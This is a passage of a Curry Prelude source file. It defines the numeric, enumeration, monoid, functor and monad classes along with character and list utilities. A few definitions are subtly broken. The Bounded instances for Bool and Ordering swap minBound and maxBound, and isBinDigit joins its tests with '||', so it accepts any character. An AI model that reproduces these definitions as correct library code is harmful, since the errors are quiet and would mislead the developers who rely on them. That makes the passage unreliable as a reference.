String\nlexCharLiteral xs = case xs of\n  \"\"        -> []\n  ('\\\\':cs) -> map (prefix '\\\\') (lexEsc cs)\n  (c:cs)    -> [([c], cs)]\n where\n  lexEsc s = case s of\n    (c:cs) | c `elem` \"abfnrtv\\\\\\\"'\"  -> [([c], cs)]\n    ('^':c:cs) | c >= '@' && c <= '_' -> [(['^', c], cs)]\n    ('b':cs)                          -> [prefix 'b' (span isBinDigit cs)]\n    ('o':cs)                          -> [prefix 'o' (span isOctDigit cs)]\n    ('x':cs)                          -> [prefix 'x' (span isHexDigit cs)]\n    cs@(d:_) | isDigit d              -> [span isDigit cs]\n    cs@(c:_) | isUpper c              -> [span isCharName cs]\n    _                                 -> []\n  isCharName c = isUpper c || isDigit c\n  prefix c (t, cs) = (c : t, cs)\n\nlexDigits :: ReadS String\nlexDigits s = [(cs, t) | (cs@(_:_), t) <- [span isDigit s]]\n\nreadCharLiteral :: ReadS Char\nreadCharLiteral s = prim_readCharLiteral $## s\n\nprim_readCharLiteral :: String -> [(Char, String)]\nprim_readCharLiteral external\n\nreadStringLiteral :: ReadS String\nreadStringLiteral s = prim_readStringLiteral $## s\n\nprim_readStringLiteral :: String -> [(String, String)]\nprim_readStringLiteral external\n\nreadNatLiteral :: ReadS Int\nreadNatLiteral s = prim_readNatLiteral $## s\n\nprim_readNatLiteral :: String -> [(Int, String)]\nprim_readNatLiteral external\n\nreadFloatLiteral :: ReadS Float\nreadFloatLiteral s = prim_readFloatLiteral $## s\n\nprim_readFloatLiteral :: String -> [(Float, String)]\nprim_readFloatLiteral external\n\nclass Bounded a where\n  minBound, maxBound :: a\n\ninstance Bounded Char where\n  minBound = chr 0\n  maxBound = chr 0x10FFFF\n\ninstance Bounded () where\n  minBound = ()\n  maxBound = ()\n\ninstance (Bounded a, Bounded b) => Bounded (a, b) where\n  minBound = (minBound, minBound)\n  maxBound = (maxBound, maxBound)\n\ninstance (Bounded a, Bounded b, Bounded c) => Bounded (a, b, c) where\n  minBound = (minBound, minBound, minBound)\n  maxBound = (maxBound, maxBound, maxBound)\n\ninstance (Bounded a, Bounded b, Bounded c, Bounded d) => Bounded (a, b, c, d) where\n  minBound = (minBound, minBound, minBound, minBound)\n  maxBound = (maxBound, maxBound, maxBound, maxBound)\n\ninstance (Bounded a, Bounded b, Bounded c, Bounded d, Bounded e) =>\n           Bounded (a, b, c, d, e) where\n  minBound = (minBound, minBound, minBound, minBound, minBound)\n  maxBound = (maxBound, maxBound, maxBound, maxBound, maxBound)\n\ninstance Bounded Bool where\n  maxBound = False\n  minBound = True\n\ninstance Bounded Ordering where\n  maxBound = LT\n  minBound = GT\n\nclass Enum a where\n  succ :: a -> a\n  pred :: a -> a\n  toEnum :: Int -> a\n  fromEnum :: a -> Int\n  enumFrom :: a -> [a]\n  enumFromThen :: a -> a -> [a]\n  enumFromTo :: a -> a -> [a]\n  enumFromThenTo :: a -> a -> a -> [a]\n\n  succ = toEnum . (+ 1) . fromEnum\n  pred = toEnum . (\\x -> x - 1) . fromEnum\n  enumFrom x = map toEnum [fromEnum x ..]\n  enumFromThen x y = map toEnum [fromEnum x, fromEnum y ..]\n  enumFromTo x y = map toEnum [fromEnum x .. fromEnum y]\n  enumFromThenTo x y z = map toEnum [fromEnum x, fromEnum y .. fromEnum z]\n\ninstance Enum Char where\n  succ c | c < maxBound = chr $ ord c + 1\n  pred c | c > minBound = chr $ ord c - 1\n  toEnum = chr\n  fromEnum = ord\n  enumFrom x = [x .. maxBound]\n  enumFromThen x y | y >= x    = [x, y .. maxBound]\n                   | otherwise = [x, y .. minBound]\n\ninstance Enum Int where\n  succ x = x + 1\n  pred x = x - 1\n  toEnum n = n\n  fromEnum n = n\n  enumFrom x = x : enumFrom (x + 1)\n  enumFromTo x y | x > y     = []\n                 | otherwise = x : enumFromTo (x + 1) y\n  enumFromThen x y = iterate ((y - x) +) x\n  enumFromThenTo x y z = takeWhile p (enumFromThen x y)\n   where p x' | y >= x    = x' <= z\n              | otherwise = x' >= z\n\ninstance Enum () where\n  succ _ = failed\n  pred _ = failed\n  toEnum 0 = ()\n  fromEnum () = 0\n  enumFrom () = [()]\n  enumFromThen () () = let units = () : units in units\n  enumFromTo () () = [()]\n  enumFromThenTo () () () = let units = () : units in units\n\ninstance Enum Bool where\n  succ False = True\n  pred True  = False\n  toEnum 0 = False\n  toEnum 1 = True\n  fromEnum False = 0\n  fromEnum True  = 1\n  enumFrom x = enumFromTo x True\n  enumFromThen x y = enumFromThenTo x y (x <= y)\n\ninstance Enum Ordering where\n  succ LT = EQ\n  succ EQ = GT\n  pred EQ = LT\n  pred GT = EQ\n  toEnum 0 = LT\n  toEnum 1 = EQ\n  toEnum 2 = GT\n  fromEnum LT = 0\n  fromEnum EQ = 1\n  fromEnum GT = 2\n  enumFrom x = enumFromTo x GT\n  enumFromThen x y = enumFromThenTo x y (if x <= y then GT else LT)\n\n\nclass Num a where\n  (+), (-), (*) :: a -> a -> a\n  negate :: a -> a\n  abs :: a -> a\n  signum :: a -> a\n  fromInt :: Int -> a\n\n  x - y = x + negate y\n  negate x = 0 - x\n\ninstance Num Int where\n  x + y = x `plusInt` y\n  x - y = x `minusInt` y\n  x * y = x `timesInt` y\n  negate x = 0 - x\n  abs x | x >= 0    = x\n        | otherwise = negate x\n  signum x | x >  0    = 1\n           | x == 0    = 0\n           | otherwise = -1\n  fromInt x = x\n\ninstance Num Float where\n  x + y = x `plusFloat` y\n  x - y = x `minusFloat` y\n  x * y = x `timesFloat` y\n  negate x = negateFloat x\n  abs x | x >= 0    = x\n        | otherwise = negate x\n  signum x | x >  0    = 1\n           | x == 0    = 0\n           | otherwise = -1\n  fromInt x = intToFloat x\n\n-- Adds two integers.\nplusInt :: Int -> Int -> Int\n#ifdef __KICS2__\nplusInt external\n#elif defined(__PAKCS__)\nx `plusInt` y = (prim_plusInt $# y) $# x\n\nprim_plusInt :: Int -> Int -> Int\nprim_plusInt external\n#endif\n\n-- Subtracts two integers.\nminusInt :: Int -> Int -> Int\n#ifdef __KICS2__\nminusInt external\n#elif defined(__PAKCS__)\nx `minusInt` y = (prim_minusInt $# y) $# x\n\nprim_minusInt :: Int -> Int -> Int\nprim_minusInt external\n#endif\n\n-- Multiplies two integers.\ntimesInt :: Int -> Int -> Int\n#ifdef __KICS2__\ntimesInt external\n#elif defined(__PAKCS__)\nx `timesInt` y = (prim_timesInt $# y) $# x\n\nprim_timesInt :: Int -> Int -> Int\nprim_timesInt external\n#endif\n\n-- Adds two floating point numbers.\nplusFloat :: Float -> Float -> Float\nx `plusFloat` y = (prim_plusFloat $# y) $# x\n\nprim_plusFloat :: Float -> Float -> Float\nprim_plusFloat external\n\n-- Subtracts two floating point numbers.\nminusFloat :: Float -> Float -> Float\nx `minusFloat` y = (prim_minusFloat $# y) $# x\n\nprim_minusFloat :: Float -> Float -> Float\nprim_minusFloat external\n\n-- Multiplies two floating point numbers.\ntimesFloat :: Float -> Float -> Float\nx `timesFloat` y = (prim_timesFloat $# y) $# x\n\nprim_timesFloat :: Float -> Float -> Float\nprim_timesFloat external\n\n-- Negates a floating point number.\nnegateFloat :: Float -> Float\n#ifdef __KICS2__\nnegateFloat external\n#elif defined(__PAKCS__)\nnegateFloat x = prim_negateFloat $# x\n\nprim_negateFloat :: Float -> Float\nprim_negateFloat external\n#endif\n\n-- Converts from integers to floating point numbers.\nintToFloat :: Int -> Float\nintToFloat x = prim_intToFloat $# x\n\nprim_intToFloat :: Int -> Float\nprim_intToFloat external\n\n\nclass Num a => Fractional a where\n  (/) :: a -> a -> a\n  recip :: a -> a\n  fromFloat :: Float -> a\n\n  recip x = 1.0 / x\n  x / y = x * recip y\n\ninstance Fractional Float where\n  x / y = x `divFloat` y\n  fromFloat x = x\n\n-- Division on floating point numbers.\ndivFloat :: Float -> Float -> Float\nx `divFloat` y = (prim_divFloat $# y) $# x\n\nprim_divFloat :: Float -> Float -> Float\nprim_divFloat external\n\nclass (Num a, Ord a) => Real a where\n  toFloat :: a -> Float\n\ninstance Real Int where\n  toFloat x = fromInt x\n\ninstance Real Float where\n  toFloat x = x\n\n\nclass (Real a, Enum a) => Integral a where\n  div, mod :: a -> a -> a\n  quot, rem :: a -> a -> a\n  divMod :: a -> a -> (a, a)\n  quotRem :: a -> a -> (a, a)\n  toInt :: a -> Int\n\n  n `div` d = q\n   where (q, _) = divMod n d\n  n `mod` d = r\n   where (_, r) = divMod n d\n  n `quot` d = q\n   where (q, _) = quotRem n d\n  n `rem` d = r\n   where (_, r) = quotRem n d\n\ninstance Integral Int where\n  divMod n d = (n `divInt` d, n `modInt` d)\n  quotRem n d = (n `quotInt` d, n `remInt` d)\n  toInt x = x\n\n--- Returns whether an integer is even.\neven :: Integral a => a -> Bool\neven n = n `rem` 2 == 0\n\n--- Returns whether an integer is odd.\nodd :: Integral a => a -> Bool\nodd = not . even\n\n--- General coercion from integral types.\nfromIntegral :: (Integral a, Num b) => a -> b\nfromIntegral = fromInt . toInt\n\n--- General coercion to fractional types.\nrealToFrac :: (Real a, Fractional b) => a -> b\nrealToFrac = fromFloat . toFloat\n\n-- Integer division. The value is the integer quotient of its arguments\n-- and always truncated towards negative infinity.\ndivInt :: Int -> Int -> Int\n#ifdef __KICS2__\ndivInt external\n#elif defined(__PAKCS__)\nx `divInt` y = (prim_divInt $# y) $# x\n\nprim_divInt :: Int -> Int -> Int\nprim_divInt external\n#endif\n\n-- Integer remainder. The value is the remainder of the integer division\n-- and it obeys the rule `mod x y = x - y * (div x y)`.\nmodInt :: Int -> Int -> Int\n#ifdef __KICS2__\nmodInt external\n#elif defined(__PAKCS__)\nx `modInt` y = (prim_modInt $# y) $# x\n\nprim_modInt :: Int -> Int -> Int\nprim_modInt external\n#endif\n\n-- Integer division. The value is the integer quotient of its arguments\n-- and always truncated towards zero.\nquotInt :: Int -> Int -> Int\n#ifdef __KICS2__\nquotInt external\n#elif defined(__PAKCS__)\nx `quotInt` y = (prim_quotInt $# y) $# x\n\nprim_quotInt :: Int -> Int -> Int\nprim_quotInt external\n#endif\n\n-- Integer remainder. The value is the remainder of the integer division\n-- and it obeys the rule `rem x y = x - y * (quot x y)`.\nremInt :: Int -> Int -> Int\n#ifdef __KICS2__\nremInt external\n#elif defined(__PAKCS__)\nx `remInt` y = (prim_remInt $# y) $# x\n\nprim_remInt :: Int -> Int -> Int\nprim_remInt external\n#endif\n\nclass (Real a, Fractional a) => RealFrac a where\n  properFraction :: Integral b => a -> (b, a)\n  truncate :: Integral b => a -> b\n  round :: Integral b => a -> b\n  ceiling :: Integral b => a -> b\n  floor :: Integral b => a -> b\n\n  truncate x = m\n   where (m, _) = properFraction x\n  round x = let (n, r) = properFraction x\n                m      = if r < 0 then n - 1 else n + 1\n            in case compare (signum (abs r - 0.5)) 0 of\n                 LT -> n\n                 EQ -> if even n then n else m\n                 GT -> m\n  ceiling x = if r > 0 then n + 1 else n\n   where (n, r) = properFraction x\n  floor x = if r < 0 then n - 1 else n\n   where (n, r) = properFraction x\n\ninstance RealFrac Float where\n  properFraction x = (n, x - fromIntegral n)\n   where n = truncate x\n  truncate = fromInt . truncateFloat\n  round = fromInt . roundFloat\n\n-- Conversion function from floating point numbers to integers.\n-- The result is the closest integer between the argument and 0.\ntruncateFloat :: Float -> Int\ntruncateFloat x = prim_truncateFloat $# x\n\nprim_truncateFloat :: Float -> Int\nprim_truncateFloat external\n\n-- Conversion function from floating point numbers to integers.\n-- The result is the nearest integer to the argument.\n-- If the argument is equidistant between two integers,\n-- it is rounded to the closest even integer value.\nroundFloat :: Float -> Int\nroundFloat x = prim_roundFloat $# x\n\nprim_roundFloat :: Float -> Int\nprim_roundFloat external\n\nclass Fractional a => Floating a where\n  pi :: a\n  exp, log, sqrt :: a -> a\n  (**), logBase :: a -> a -> a\n  sin, cos, tan :: a -> a\n  asin, acos, atan :: a -> a\n  sinh, cosh, tanh :: a -> a\n  asinh, acosh, atanh :: a -> a\n\n  sqrt x = x ** 0.5\n  x ** y = exp (log x * y)\n  logBase x y = log y / log x\n  tan x = sin x / cos x\n  tanh x = sinh x / cosh x\n\ninstance Floating Float where\n  pi = 3.141592653589793238\n  exp = expFloat\n  log = logFloat\n  sqrt = sqrtFloat\n  sin = sinFloat\n  cos = cosFloat\n  tan = tanFloat\n  asin = asinFloat\n  acos = acosFloat\n  atan = atanFloat\n  sinh = sinhFloat\n  cosh = coshFloat\n  tanh = tanhFloat\n  asinh = asinhFloat\n  acosh = acoshFloat\n  atanh = atanhFloat\n\n-- Natural logarithm.\nlogFloat :: Float -> Float\nlogFloat x = prim_logFloat $# x\n\nprim_logFloat :: Float -> Float\nprim_logFloat external\n\n-- Natural exponent.\nexpFloat :: Float -> Float\nexpFloat x = prim_expFloat $# x\n\nprim_expFloat :: Float -> Float\nprim_expFloat external\n\n-- Square root.\nsqrtFloat :: Float -> Float\nsqrtFloat x = prim_sqrtFloat $# x\n\nprim_sqrtFloat :: Float -> Float\nprim_sqrtFloat external\n\n-- Sine.\nsinFloat :: Float -> Float\nsinFloat x = prim_sinFloat $# x\n\nprim_sinFloat :: Float -> Float\nprim_sinFloat external\n\n-- Cosine.\ncosFloat :: Float -> Float\ncosFloat x = prim_cosFloat $# x\n\nprim_cosFloat :: Float -> Float\nprim_cosFloat external\n\n-- Tangent.\ntanFloat :: Float -> Float\ntanFloat x = prim_tanFloat $# x\n\nprim_tanFloat :: Float -> Float\nprim_tanFloat external\n\n-- Arcus sine.\nasinFloat :: Float -> Float\nasinFloat x = prim_asinFloat $# x\n\nprim_asinFloat :: Float -> Float\nprim_asinFloat external\n\n-- Arcus cosine.\nacosFloat :: Float -> Float\nacosFloat x = prim_acosFloat $# x\n\nprim_acosFloat :: Float -> Float\nprim_acosFloat external\n\n-- Arcus tangent.\natanFloat :: Float -> Float\natanFloat x = prim_atanFloat $# x\n\nprim_atanFloat :: Float -> Float\nprim_atanFloat external\n\n-- Hyperbolic sine.\nsinhFloat :: Float -> Float\nsinhFloat x = prim_sinhFloat $# x\n\nprim_sinhFloat :: Float -> Float\nprim_sinhFloat external\n\n-- Hyperbolic cosine.\ncoshFloat :: Float -> Float\ncoshFloat x = prim_coshFloat $# x\n\nprim_coshFloat :: Float -> Float\nprim_coshFloat external\n\n-- Hyperbolic tangent.\ntanhFloat :: Float -> Float\ntanhFloat x = prim_tanhFloat $# x\n\nprim_tanhFloat :: Float -> Float\nprim_tanhFloat external\n\n-- Hyperbolic arcus sine.\nasinhFloat :: Float -> Float\nasinhFloat x = prim_asinhFloat $# x\n\nprim_asinhFloat :: Float -> Float\nprim_asinhFloat external\n\n-- Hyperbolic arcus cosine.\nacoshFloat :: Float -> Float\nacoshFloat x = prim_acoshFloat $# x\n\nprim_acoshFloat :: Float -> Float\nprim_acoshFloat external\n\n-- Hyperbolic arcus tangent.\natanhFloat :: Float -> Float\natanhFloat x = prim_atanhFloat $# x\n\nprim_atanhFloat :: Float -> Float\nprim_atanhFloat external\n\n\n(^) :: (Num a, Integral b) => a -> b -> a\nx0 ^ y0 | y0 < 0    = error \"Negative exponent\"\n        | y0 == 0   = 1\n        | otherwise = f x0 y0\n    where -- f : x0 ^ y0 = x ^ y\n          f x y | even y    = f (x * x) (y `quot` 2)\n                | y == 1    = x\n                | otherwise = g (x * x) (y `quot` 2) x\n          -- g : x0 ^ y0 = (x ^ y) * z\n          g x y z | even y = g (x * x) (y `quot` 2) z\n                  | y == 1 = x * z\n                  | otherwise = g (x * x) (y `quot` 2) (x * z)\n\nclass Monoid a where\n  mempty  :: a\n  mappend :: a -> a -> a\n  mconcat :: [a] -> a\n\n  mconcat = foldr mappend mempty\n\ninstance Monoid () where\n  mempty = ()\n  _ `mappend` _ = ()\n  mconcat _ = ()\n\ninstance (Monoid a, Monoid b) => Monoid (a, b) where\n  mempty = (mempty, mempty)\n  (a1, b1) `mappend` (a2,b2) = (a1 `mappend` a2, b1 `mappend` b2)\n\ninstance (Monoid a, Monoid b, Monoid c) => Monoid (a, b, c) where\n  mempty = (mempty, mempty, mempty)\n  (a1, b1, c1) `mappend` (a2, b2, c2) =\n    (a1 `mappend` a2, b1 `mappend` b2, c1 `mappend` c2)\n\ninstance (Monoid a, Monoid b, Monoid c, Monoid d) => Monoid (a, b, c, d) where\n  mempty = (mempty, mempty, mempty, mempty)\n  (a1, b1, c1, d1) `mappend` (a2, b2, c2, d2) =\n    (a1 `mappend` a2, b1 `mappend` b2, c1 `mappend` c2, d1 `mappend` d2)\n\ninstance (Monoid a, Monoid b, Monoid c, Monoid d, Monoid e) =>\n           Monoid (a, b, c, d, e) where\n  mempty = (mempty, mempty, mempty, mempty, mempty)\n  (a1, b1, c1, d1, e1) `mappend` (a2, b2, c2, d2, e2) =\n    (a1 `mappend` a2, b1 `mappend` b2, c1 `mappend` c2, d1 `mappend` d2,\n      e1 `mappend` e2)\n\ninstance Monoid [a] where\n  mempty  = []\n  mappend = (++)\n  mconcat xss = [x | xs <- xss, x <- xs]\n\ninstance Monoid b => Monoid (a -> b) where\n  mempty _ = mempty\n  mappend f g x = f x `mappend` g x\n\ninstance Monoid Ordering where\n  mempty = EQ\n  LT `mappend` _ = LT\n  EQ `mappend` y = y\n  GT `mappend` _ = GT\n\n\nclass Functor f where\n  fmap :: (a -> b) -> f a -> f b\n  (<$) :: a -> f b -> f a\n\n  (<$) = fmap . const\n\ninstance Functor [] where\n  fmap = map\n\ninstance Functor ((->) r) where\n  fmap = (.)\n\n(<$>) :: Functor f => (a -> b) -> f a -> f b\n(<$>) = fmap\n\n\nclass Functor f => Applicative f where\n  pure :: a -> f a\n  (<*>) :: f (a -> b) -> f a -> f b\n  (*>) :: f a -> f b -> f b\n  (<*) :: f a -> f b -> f a\n  liftA2 :: (a -> b -> c) -> f a -> f b -> f c\n\n  (<*>) = liftA2 id\n  a1 *> a2 = (id <$ a1) <*> a2\n  (<*) = liftA2 const\n  liftA2 f x = (<*>) (fmap f x)\n\ninstance Applicative [] where\n  pure x    = [x]\n  fs <*> xs = [f x | f <- fs, x <- xs]\n  xs *> ys  = [y | _ <- xs, y <- ys]\n  liftA2 f xs ys = [f x y | x <- xs, y <- ys]\n\ninstance Applicative ((->) a) where\n  pure = const\n  (<*>) f g x = f x (g x)\n  liftA2 q f g x = q (f x) (g x)\n\n\n-- | A monoid on applicative functors.\n--\n-- If defined, 'some' and 'many' should be the least solutions\n-- of the equations:\n--\n-- * @'some' v = (:) '<$>' v '<*>' 'many' v@\n--\n-- * @'many' v = 'some' v '<|>' 'pure' []@\nclass Applicative f => Alternative f where\n    -- | The identity of '<|>'\n    empty :: f a\n    -- | An associative binary operation\n    (<|>) :: f a -> f a -> f a\n\n    -- | One or more.\n    some :: f a -> f [a]\n    some v = some_v\n      where\n        many_v = some_v <|> pure []\n        some_v = (:) <$> v <*> many_v\n\n    -- | Zero or more.\n    many :: f a -> f [a]\n    many v = many_v\n      where\n        many_v = some_v <|> pure []\n        some_v = (:) <$> v <*> many_v\n\ninstance Alternative [] where\n    empty = []\n    (<|>) = (++)\n\n\nclass Applicative m => Monad m where\n  (>>=) :: m a -> (a -> m b) -> m b\n  (>>) :: m a -> m b -> m b\n  return :: a -> m a\n\n  return = pure\n  m >> k = m >>= \\_ -> k\n\ninstance Monad [] where\n  xs >>= f = [y | x <- xs, y <- f x]\n  (>>) = (*>)\n\ninstance Monad ((->) r) where\n  f >>= k = \\ r -> k (f r) r\n\nclass Monad m => MonadFail m where\n  fail :: String -> m a\n\ninstance MonadFail [] where\n  fail _ = []\n\nap :: Monad m => m (a -> b) -> m a -> m b\nap m1 m2 = do\n  x1 <- m1\n  x2 <- m2\n  return (x1 x2)\n\nliftM2 :: Monad m => (a1 -> a2 -> r) -> m a1 -> m a2 -> m r\nliftM2 f m1 m2 = do\n  x1 <- m1\n  x2 <- m2\n  return (f x1 x2)\n\n--- Executes a sequence of monadic actions and collects all results in a list.\nsequence :: Monad m => [m a] -> m [a]\nsequence []     = return []\nsequence (c:cs) = do x <- c\n                     xs <- sequence cs\n                     return (x : xs)\n\n--- Executes a sequence of monadic actions and ignores the results.\nsequence_ :: Monad m => [m _] -> m ()\nsequence_ = foldr (>>) (return ())\n\n--- Maps a monadic action function on a list of elements.\n--- The results of all monadic actions are collected in a list.\nmapM :: Monad m => (a -> m b) -> [a] -> m [b]\nmapM f = sequence . map f\n\n--- Maps an monadic action function on a list of elements.\n--- The results of all monadic actions are ignored.\nmapM_ :: Monad m => (a -> m _) -> [a] -> m ()\nmapM_ f = sequence_ . map f\n\n--- Returns true if the argument is an uppercase letter.\nisUpper :: Char -> Bool\nisUpper c = c >= 'A' && c <= 'Z'\n\n--- Returns true if the argument is an lowercase letter.\nisLower :: Char -> Bool\nisLower c = c >= 'a' && c <= 'z'\n\n--- Returns true if the argument is a letter.\nisAlpha :: Char -> Bool\nisAlpha c = isUpper c || isLower c\n\n--- Returns true if the argument is a decimal digit.\nisDigit :: Char -> Bool\nisDigit c = c >= '0' && c <= '9'\n\n--- Returns true if the argument is a letter or digit.\nisAlphaNum :: Char -> Bool\nisAlphaNum c = isAlpha c || isDigit c\n\n--- Returns true if the argument is a binary digit.\nisBinDigit :: Char -> Bool\nisBinDigit c = c >= '0' || c <= '1'\n\n--- Returns true if the argument is an octal digit.\nisOctDigit :: Char -> Bool\nisOctDigit c = c >= '0' && c <= '7'\n\n--- Returns true if the argument is a hexadecimal digit.\nisHexDigit :: Char -> Bool\nisHexDigit c = isDigit c || c >= 'A' && c <= 'F'\n                         || c >= 'a' && c <= 'f'\n\n--- Returns true if the argument is a white space.\nisSpace :: Char -> Bool\nisSpace c = c == ' '    || c == '\\t' || c == '\\n' ||\n            c == '\\r'   || c == '\\f' || c == '\\v' ||\n            c == '\\xa0' || ord c `elem` [5760, 6158, 8192, 8239, 8287, 12288]\n\n--- Converts a character into its ASCII value.\nord :: Char -> Int\nord c = prim_ord $# c\n\nprim_ord :: Char -> Int\nprim_ord external\n\n--- Converts a Unicode value into a character.\n--- The conversion is total, i.e., for out-of-bound values, the smallest\n--- or largest character is generated.\nchr :: Int -> Char\nchr n | n < 0       = prim_chr 0\n      | n > 1114111 = prim_chr 1114111\n      | otherwise   = prim_chr $# n\n\nprim_chr :: Int -> Char\nprim_chr external\n\ntype String = [Char]\n\n--- Breaks a string into a list of lines where a line is terminated at a\n--- newline character. The resulting lines do not contain newline characters.\nlines :: String -> [String]\nlines []       = []\nlines as@(_:_) = let (l, bs) = splitLine as in l : lines bs\n where splitLine []     = ([], [])\n       splitLine (c:cs) = if c == '\\n' then ([], cs)\n                                       else let (ds, es) = splitLine cs\n                                            in (c : ds, es)\n\n--- Concatenates a list of strings with terminating newlines.\nunlines :: [String] -> String\nunlines = concatMap (++ \"\\n\")\n\n--- Breaks a string into a list of words where the words are delimited by\n--- white spaces.\nwords :: String -> [String]\nwords s = let s1 = dropWhile isSpace s\n          in if s1 == \"\" then []\n                         else let (w, s2) = break isSpace s1\n                              in w : words s2\n\n--- Concatenates a list of strings with a blank between two strings.\nunwords :: [String] -> String\nunwords ws = if ws == [] then []\n                         else foldr1 (\\w s -> w ++ ' ' : s) ws\n\n\n--- Right-associative application.\n($) :: (a -> b) -> a -> b\nf $ x = f x\n\n--- Right-associative application with strict evaluation of its argument\n--- to head normal form.\n($!) :: (a -> b) -> a -> b\n($!) external\n\n--- Right-associative application with strict evaluation of its argument\n--- to normal form.\n($!!) :: (a -> b) -> a -> b\n($!!) external\n\n--- Right-associative application with strict evaluation of its argument\n--- to a non-variable term.\n($#) :: (a -> b) -> a -> b\nf $# x = f $! (ensureNotFree x)\n\n--- Right-associative application with strict evaluation of its argument\n--- to ground normal form.\n($##) :: (a -> b) -> a -> b\n($##) external\n\n--- Evaluates the first argument to head normal form (which could also\n--- be a free variable) and returns the second argument.\nseq :: _ -> a -> a\nx `seq` y = const y $! x\n\n--- Evaluates the argument to head normal form and returns it.\n--- Suspends until the result is bound to a non-variable term.\nensureNotFree :: a -> a\nensureNotFree external\n\n--- Evaluates the argument to spine form and returns it.\n--- Suspends until the result is bound to a non-variable spine.\nensureSpine :: [a] -> [a]\nensureSpine l = ensureList (ensureNotFree l)\n where ensureList []     = []\n       ensureList (x:xs) = x : ensureSpine xs\n\n--- Evaluates the argument to normal form and returns it.\nnormalForm :: a -> a\nnormalForm x = id $!! x\n\n--- Evaluates the argument to ground normal form and returns it.\n--- Suspends as long as the normal form of the argument is not ground.\ngroundNormalForm :: a -> a\ngroundNormalForm x = id $## x\n\n\n--- Function composition.\n(.) :: (b -> c) -> (a -> b) -> (a -> c)\nf . g = \\x -> f (g x)\n\n--- Identity function.\nid :: a -> a\nid x = x\n\n--- Constant function.\nconst :: a -> _ -> a\nconst x _ = x\n\n--- `asTypeOf` is a type-restricted version of `const`.\n--- It is usually used as an infix operator, and its typing forces its first\n--- argument (which is usually overloaded) to have the same type as the second.\nasTypeOf :: a -> a -> a\nasTypeOf = const\n\n--- Converts an uncurried function to a curried function.\ncurry :: ((a, b) -> c) -> a -> b -> c\ncurry f a b =  f (a, b)\n\n--- Converts an curried function to a function on pairs.\nuncurry :: (a -> b -> c) -> (a, b) -> c\nuncurry f (a, b) = f a b\n\n--- `flip f` is identical to `f`, but with the order of arguments reversed.\nflip :: (a -> b -> c) -> b -> a -> c\nflip f x y = f y x\n\n--- Repeats application of a function until a predicate holds.\nuntil :: (a -> Bool) -> (a -> a) -> a -> a\nuntil p f x = if p x then x else until p f (f x)\n\n\n--- Sequential conjunction on Booleans.\n(&&) :: Bool -> Bool -> Bool\nTrue  && x = x\nFalse && _ = False\n\n--- Sequential disjunction on Booleans.\n(||) :: Bool -> Bool -> Bool\nTrue  || _ = True\nFalse || x = x\n\n--- Negation on Booleans.\nnot :: Bool -> Bool\nnot True  = False\nnot False = True\n\n--- Useful name for the last condition in a sequence of conditional equations.\notherwise :: Bool\notherwise = True\n\n--- The standard conditional. It suspends if the condition is a free variable.\nifThenElse :: Bool -> a -> a -> a\nifThenElse b t f = case b of True  -> t\n                             False -> f\n\n--- Selects the first component of a pair.\nfst :: (a, _) -> a\nfst (x, _) = x\n\n--- Selects the second component of a pair.\nsnd :: (_, b) -> b\nsnd (_, y) = y\n\n\n--- Computes the first element of a list.\nhead :: [a] -> a\nhead (x:_) = x\n\n--- Computes the remaining elements of a list.\ntail :: [a] -> [a]\ntail (_:xs) = xs\n\n--- Is a list empty?\nnull :: [_] -> Bool\nnull []    = True\nnull (_:_) = False\n\n--- Concatenates two lists.\n--- Since it is flexible, it could be also used to split a list\n--- into two sublists etc.\n(++) :: [a] -> [a] -> [a]\n[]     ++ ys = ys\n(x:xs) ++ ys = x : xs ++ ys\n\n--- Computes the length of a list.\nlength :: [_] -> Int\nlength [] = 0\nlength (_:xs) = 1 + length xs\n\n--- List index (subscript) operator, head has index 0.\n(!!) :: [a] -> Int -> a\n(x:xs) !! n | n == 0 = x\n            | n > 0  = xs !! (n - 1)\n\n--- Maps a function on all elements of a list.\nmap :: (a -> b) -> [a] -> [b]\nmap _ []     = []\nmap f (x:xs) = f x : map f xs\n\n--- Accumulates all list elements by applying a binary operator from\n--- left to right.\nfoldl :: (a -> b -> a) -> a -> [b] -> a\nfoldl _ z []     = z\nfoldl f z (x:xs) = foldl f (f z x) xs\n\n--- Accumulates a non-empty list from left to right.\nfoldl1 :: (a -> a -> a) -> [a] -> a\nfoldl1 f (x:xs) = foldl f x xs\n\n--- Accumulates all list elements by applying a binary operator from\n--- right to left.\nfoldr :: (a -> b -> b) -> b -> [a] -> b\nfoldr _ z []     = z\nfoldr f z (x:xs) = f x (foldr f z xs)\n\n--- Accumulates a non-empty list from right to left:\nfoldr1 :: (a -> a -> a) -> [a] -> a\nfoldr1 _ [x]          = x\nfoldr1 f (x:xs@(_:_)) = f x (foldr1 f xs)\n\n--- Filters all elements satisfying a given predicate in a list.\nfilter :: (a -> Bool) -> [a] -> [a]\nfilter _ []     = []\nfilter p (x:xs) = if p x then x : filter p xs\n                         else filter p xs\n\n--- Joins two lists into one list of pairs. If one input list is shorter than\n--- the other, the additional elements of the longer list are discarded.\nzip :: [a] -> [b] -> [(a, b)]\nzip []     _      = []\nzip (_:_)  []     = []\nzip (x:xs) (y:ys) = (x, y) : zip xs ys\n\n--- Joins three lists into one list of triples. If one input list is shorter\n--- than the other, the additional elements of the longer lists are discarded.\nzip3 :: [a] -> [b] -> [c] -> [(a, b, c)]\nzip3 []     _      _      = []\nzip3 (_:_)  []     _      = []\nzip3 (_:_)  (_:_)  []     = []\nzip3 (x:xs) (y:ys) (z:zs) = (x, y, z) : zip3 xs ys zs\n\n--- Joins two lists into one list by applying a combination function to\n--- corresponding pairs of elements. Thus `zip = zipWith (,)`\nzipWith :: (a -> b -> c) -> [a] -> [b] -> [c]\nzipWith _ []     _      = []\nzipWith _ (_:_)  []     = []\nzipWith f (x:xs) (y:ys) = f x y : zipWith f xs ys\n\n--- Joins three lists into one list by applying a combination function to\n--- corresponding triples of elements. Thus `zip3 = zipWith3 (,,)`\nzipWith3 :: (a -> b -> c -> d) -> [a] -> [b] -> [c] -> [d]\nzipWith3 _ []     _      _      = []\nzipWith3 _ (_:_)  []     _      = []\nzipWith3 _ (_:_)  (_:_)  []     = []\nzipWith3 f (x:xs) (y:ys) (z:zs) = f x y z : zipWith3 f xs ys zs\n\n--- Transforms a list of pairs into a pair of lists.\nunzip :: [(a, b)] -> ([a], [b])\nunzip []          = ([], [])\nunzip ((x, y):ps) = (x : xs, y : ys)\n where (xs, ys) = unzip ps\n\n--- Transforms a list of triples into a triple of lists.\nunzip3 :: [(a, b, c)] -> ([a], [b], [c])\nunzip3 []             = ([], [], [])\nunzip3 ((x, y, z):ts) = (x : xs, y : ys, z : zs)\n where (xs, ys, zs) = 